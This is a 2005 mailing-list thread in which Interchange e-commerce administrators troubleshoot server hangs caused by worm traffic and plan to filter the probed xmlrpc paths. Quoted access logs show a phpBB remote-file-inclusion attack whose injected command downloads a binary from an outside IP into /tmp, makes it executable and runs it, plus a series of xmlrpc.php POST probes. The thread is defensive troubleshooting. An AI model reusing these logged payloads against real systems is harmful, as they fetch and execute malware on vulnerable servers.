[ic] mod_interchange and Apache MaxClients

[Ron Phipps]

> From: interchange-users-bounces at icdevgroup.org
[mailto:interchange-users-
> bounces at icdevgroup.org] On Behalf Of John1
> Sent: Saturday, December 17, 2005 9:05 AM
> 
> On Thursday, December 01, 2005 9:18 PM, rphipps at reliant-solutions.com
> wrote:
> 
> >> From: interchange-users-bounces at icdevgroup.org
> >> [mailto:interchange-users- bounces at icdevgroup.org] On Behalf Of Ron
> >> Phipps
> >> Sent: Thursday, December 01, 2005 9:24 AM
> >>
> >> We were visited this morning again by this worm and my script
noticed
> >> the site was not responding so IC was restarted.  It's definitely
> >> something in this worm that is causing Apache/mod_interchange/ic to
> >> hang up.  I'm setting up a test domain today with the cgi-bin
access
> >> method, I'll modify my script to then check this test domain when
it
> >> notices the main domain is not responding to see if IC can still
> >> serve pages properly.  This will then narrow it down whether it's
an
> >> issue with IC or Apache/mod_interchange.
> >>
> >> Thanks,
> >> -Ron
> >
> > I have setup a test domain and catalog which connects to the live IC
> > server.  On this test site I have a page containing: "CGI UP".  When
> > my script notices that the main site is not responding it will then
> > try to hit the test site using the tlink cgi and will check for the
> > result of "CGI UP".  This will tell us whether or not IC can be
> > accessed via the CGI method when it cannot be access via
> > mod_interchange.
> >
> > Our site was brought down for a 2nd time this morning by another
worm
> > trying to access exploits in awstats and xml-rpc.
> >
> Sorry for going quiet on this thread over the last few weeks, but
things
> just a bit hectic at the moment - will hopefully have a bit more time
> after
> Christmas.
> 
> Ron, I was going to try to set up the CGI test domain like you have
done
> but
> haven't had chance yet - have you reached any conclusions?  Will
> Interchange
> still respond via the tlink cgi?

When my script attempts to hit the cgi test domain it does not get a
response within 5 seconds, I should probably see if it gets a response
after waiting a bit longer.


> Anyway, what has prompted me to post is that our site was brought down
4
> times yesterday, by a very similar (but different) script to before...

We did not go down for a couple weeks, then starting last Thursday the
script has restarted the site probably 10+ times.  I have not had a
chance to look through the apache logs, but I'm guessing we will see the
same thing.

> It is very clear that it is POST requests that are bringing
Interchange
> down.  I am not sure whether it is the *content* of a particular POST
> request or whether it is just the fact that several POST requests are
made
> in the space of a few seconds from the same client.
>
> Explanation to why I conclude that POST requests are the culprit
> =======================================
> 
> Just before the server goes down we see the below two entries in our
log.
> 
> our_ip_address - - [16/Dec/2005:13:16:39] "GET
>
/modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=h
tt
>
p://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmo
d%
> 20744%20criman;./criman;echo%20YYY;echo|
> HTTP/1.1" 404 259
> our_ip_address - - [16/Dec/2005:13:16:40] "GET
>
/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81
.1
>
74.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%
20
> criman;./criman;echo%20YYY;echo|
> HTTP/1.1" 404 251
> 
> Notice these are both GET requests.  There are no POST requests
showing in
> the log.
> 
> So, I search Google for some information about the above worm and
stumble
> across someone else's access log.  These are the entries in their log:
> 
> x.x.x.x - - [16/Dec/2005:11:49:40 -0600] "GET
>
/modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=h
tt
>
p://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmo
d%
> 20744%20criman;./criman;echo%20YYY;echo|
> HTTP/1.1" 404 259
> x.x.x.x - - [16/Dec/2005:11:49:42 -0600] "GET
>
/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81
.1
>
74.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%
20
> criman;./criman;echo%20YYY;echo|
> HTTP/1.1" 404 251
> x.x.x.x - - [16/Dec/2005:11:49:47 -0600] "POST /xmlrpc.php HTTP/1.1"
404
> 216
> x.x.x.x - - [16/Dec/2005:11:49:48 -0600] "POST /blog/xmlrpc.php
HTTP/1.1"
> 404 221
> x.x.x.x - - [16/Dec/2005:11:49:50 -0600] "POST /blog/xmlsrv/xmlrpc.php
> HTTP/1.1" 404 228
> x.x.x.x - - [16/Dec/2005:11:49:52 -0600] "POST
/blogs/xmlsrv/xmlrpc.php
> HTTP/1.1" 404 229
> x.x.x.x - - [16/Dec/2005:11:49:56 -0600] "POST /drupal/xmlrpc.php
> HTTP/1.1"
> 404 223
> x.x.x.x - - [16/Dec/2005:11:49:57 -0600] "POST
/phpgroupware/xmlrpc.php
> HTTP/1.1" 404 229
> x.x.x.x - - [16/Dec/2005:11:49:59 -0600] "POST /wordpress/xmlrpc.php
> HTTP/1.1" 404 226
> x.x.x.x - - [16/Dec/2005:11:50:00 -0600] "POST /xmlrpc.php HTTP/1.1"
404
> 216
> x.x.x.x - - [16/Dec/2005:11:50:02 -0600] "POST /xmlrpc/xmlrpc.php
> HTTP/1.1"
> 404 223
> x.x.x.x - - [16/Dec/2005:11:50:03 -0600] "POST /xmlsrv/xmlrpc.php
> HTTP/1.1"
> 404 223
> 
> The above POST requests never made it to our access log, so it seems
it is
> these POST requests, or the POST /xmlrpc.php specifically that is
bringing
> down Interchange.
> 
> This is *exactly* the same behaviour as I was seeing a few weeks ago
with
> the similar (but not identical) worm/hacking script, hence the
conclusion
> earlier in this thread that it is the POST requests that are the
problem.
> 
> Ron, do you see similar behaviour?

We did see similar behavior in past weeks.

> BTW, I found a couple of links to http flood utilities that could be
used
> to
> test whether it is the spurious POST requests themselves that are
causing
> the problem, or merely the fact that there is a quick succession of
> spurious
> POST requests from the same IP address.  Unforutnately, I haven't yet
had
> chance to make any tests with these utilities myself, but here are the
> links
> in case anyone else thinks they may be useful for tests:
> http://httpd.apache.org/test/flood/
> http://support.microsoft.com/default.aspx?scid=kb;en-us;324094
> 
> Thanks for your help...

Are you using a script to restart your site or do you restart it by
hand?  If you restart it by hand could you please setup a cgi test
domain and hit that site before you restart IC/Apache?

Something in these worms is causing mod_interchange or IC to hang, but
I'm not sure I know where to look from here.  It'd be great if there was
a script that recreated the actions of these worms, but I have not found
one yet.  If we could recreate the problem on demand then it'd be much
easier to find a fix.  Unfortunately right now we have to make a change
then wait for the worm to attack again.

Does anyone know of any communities where they would post such a script?

I think what I'm going to do next is add those xmlrpc paths to either
the ordinaryfilelist or the dropfilelist of mod_interchange so that the
posts are not passed along to IC.

Thanks,
-Ron